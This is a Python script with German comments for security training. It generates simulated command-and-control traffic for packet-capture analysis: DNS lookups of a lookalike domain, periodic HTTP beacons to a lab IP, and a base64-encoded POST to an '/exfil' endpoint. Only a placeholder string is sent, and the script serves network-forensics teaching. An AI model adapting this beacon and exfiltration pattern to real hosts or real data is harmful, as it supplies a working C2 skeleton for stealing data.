#!/usr/bin/env python3
"""
Harmloser C2-Client für Security Training
Erzeugt simulierten Malware-Traffic für PCAP-Analyse
"""

import time
import base64
import random
import requests
import socket

# Konfiguration - ANPASSEN!
C2_DOMAIN = "update-checker-info.net"
C2_IP = "10.10.10.50"   # IP der Server-VM eintragen!
C2_PORT = 8088
BEACON_INTERVAL = 30    # Sekunden zwischen Beacons

def resolve_domain():
    """Simuliert DNS-Lookup der C2-Domain"""
    try:
        print(f"[DNS] Resolving {C2_DOMAIN}")
        result = socket.gethostbyname(C2_DOMAIN)
        print(f"[DNS] Resolved to {result}")
    except socket.gaierror:
        print(f"[DNS] Resolution failed (expected)")

def send_beacon():
    """Sendet Beacon/Check-in zum C2-Server"""
    beacon_id = random.randint(1000, 9999)
    url = f"http://{C2_IP}:{C2_PORT}/checkin?id={beacon_id}"
    headers = {"User-Agent": "CustomClient/1.0"}

    print(f"[HTTP] Beacon → {url}")
    try:
        response = requests.get(url, headers=headers, timeout=5)
        print(f"[HTTP] Response: {response.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"[HTTP] Beacon failed: {e}")

def send_exfiltration():
    """Simuliert Datenexfiltration"""
    data = "This is harmless training data."
    encoded = base64.b64encode(data.encode()).decode()
    url = f"http://{C2_IP}:{C2_PORT}/exfil"
    headers = {"User-Agent": "CustomClient/1.0"}

    print(f"[HTTP] Exfiltration → {url}")
    try:
        response = requests.post(
            url,
            data={"payload": encoded},
            headers=headers,
            timeout=5
        )
        print(f"[HTTP] Response: {response.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"[HTTP] Exfil failed: {e}")

def main():
    print("=" * 50)
    print("Harmless C2 Client Simulation")
    print("=" * 50)
    print(f"Target: {C2_IP}:{C2_PORT}")
    print(f"Interval: {BEACON_INTERVAL}s")
    print("Press Ctrl+C to stop")
    print("=" * 50)

    beacon_count = 0

    while True:
        beacon_count += 1
        resolve_domain()
        send_beacon()

        if beacon_count % 5 == 0:
            send_exfiltration()

        print(f"[WAIT] Sleeping {BEACON_INTERVAL}s...\n")
        time.sleep(BEACON_INTERVAL)

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n[EXIT] Stopped by user")
